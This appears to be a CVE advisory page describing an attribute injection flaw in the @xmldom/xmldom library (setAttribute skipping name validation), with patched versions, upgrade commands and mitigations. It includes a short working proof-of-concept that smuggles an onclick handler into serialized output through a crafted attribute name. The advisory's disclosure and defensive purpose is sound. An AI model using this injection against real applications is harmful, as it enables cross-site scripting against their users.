@xmldom/xmldom, Attribute Injection, CVE-2026-83605 (Important/High) -DC-Sep2026-2257

Listen to this Post

Element.setAttribute() in @xmldom/xmldom bypasses attribute name validation by calling the private `_createAttribute(name)` method, which performs no validation. The public `createAttribute()` method correctly validates names against an anchored QName pattern, but `setAttribute()` never uses it. This creates a two-tier validation system where the most commonly used API takes the unvalidated path: `doc.createAttribute(“bad name”)` throws `INVALID_CHARACTER_ERR` (correct), while `el.setAttribute(“bad name”, “value”)` succeeds silently (vulnerable). The serializer escapes attribute values but trusts attribute names, allowing an attacker to inject additional attributes (including event handlers) into serialized output. The `requireWellFormed: true` option did not catch this.
The root cause is that `setAttribute()` calls `_createAttribute()` (private, no validation) instead of `createAttribute()` (public, validates against QName). The serializer trusts attribute names and emits them unescaped, and the `requireWellFormed` code path did not validate attribute names during serialization. An attacker can terminate the current attribute and inject new ones by including quote and space characters in the attribute name.
The fix is opt-in: when `{ requireWellFormed: true }` is passed, the serializer now validates each serialized attribute’s qualified name against the XML QName production and throws `InvalidStateError` before emitting it. This is fixed in @xmldom/xmldom 0.9.11 and 0.8.14. Default serialization is unchanged to avoid breaking existing code, as the W3C spec defines the require well-formed flag’s default value as false. A residual limitation remains: `setAttribute(name, value)` does not validate name at creation time (unlike createAttribute()), and making it reject invalid names unconditionally is deferred to the next breaking release.

DailyCVE Form:

Platform: @xmldom/xmldom
Version: <0.8.14, <0.9.11
Vulnerability: Attribute Injection
Severity: Important/High (CVSS 8.1)
date: 2026-09-01

Prediction: Patch already available (upgrade to 0.8.14/0.9.11)

What Undercode Say:

Analytics:

Check currently installed version
npm list @xmldom/xmldom
Check if vulnerable (versions below 0.8.14 or 0.9.11)
npm audit | grep xmldom
Upgrade to patched version
npm install @xmldom/[email protected]
or for 0.8.x line
npm install @xmldom/[email protected]

Exploit: (Educational Purposes!)

const { DOMImplementation, XMLSerializer } = require('@xmldom/xmldom');
const impl = new DOMImplementation();
const serializer = new XMLSerializer();
const doc = impl.createDocument(null, 'root', null);
// The attribute name contains a closing quote, a space, and a new attribute
doc.documentElement.setAttribute('class="safe" onclick', 'alert(1)');
const output = serializer.serializeToString(doc, { requireWellFormed: true });
console.log(output);
// <root class="safe" onclick="alert(1)"/>
//
// The single setAttribute() call produced TWO attributes:
// 1. class="safe"
// 2. onclick="alert(1)"
//
// requireWellFormed: true did NOT prevent the injection.

Protection:

Upgrade to @xmldom/xmldom version 0.9.11 or 0.8.14. For applications that cannot upgrade immediately, pass `{ requireWellFormed: true }` to all `serializeToString()` calls. Validate all attribute names against the XML QName production before calling setAttribute(). Audit all `serializeToString()` call sites and add the `requireWellFormed` flag. Note that protection is not automatic—existing serialization calls remain vulnerable unless the flag is explicitly passed.

Impact:

Applications that use `setAttribute()` with any user-controlled portion of the attribute name are vulnerable to attribute injection attacks. This includes Cross-Site Scripting (XSS) via injecting event handler attributes into HTML output consumed by browsers, overriding security-relevant attributes such as integrity, nonce, sandbox, or `Content-Security-Policy` meta attributes, and validation bypass where the public `createAttribute()` API validates while `setAttribute()` does not, creating an inconsistent security boundary. The `requireWellFormed: true` mitigation for prior CVEs remained vulnerable. @xmldom/xmldom can also be used inside browsers, where it mirrors the DOM API; unlike the browser’s setAttribute(), which rejects an invalid attribute name with InvalidCharacterError, xmldom accepts it—developers may assume the same safety and skip validation.

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top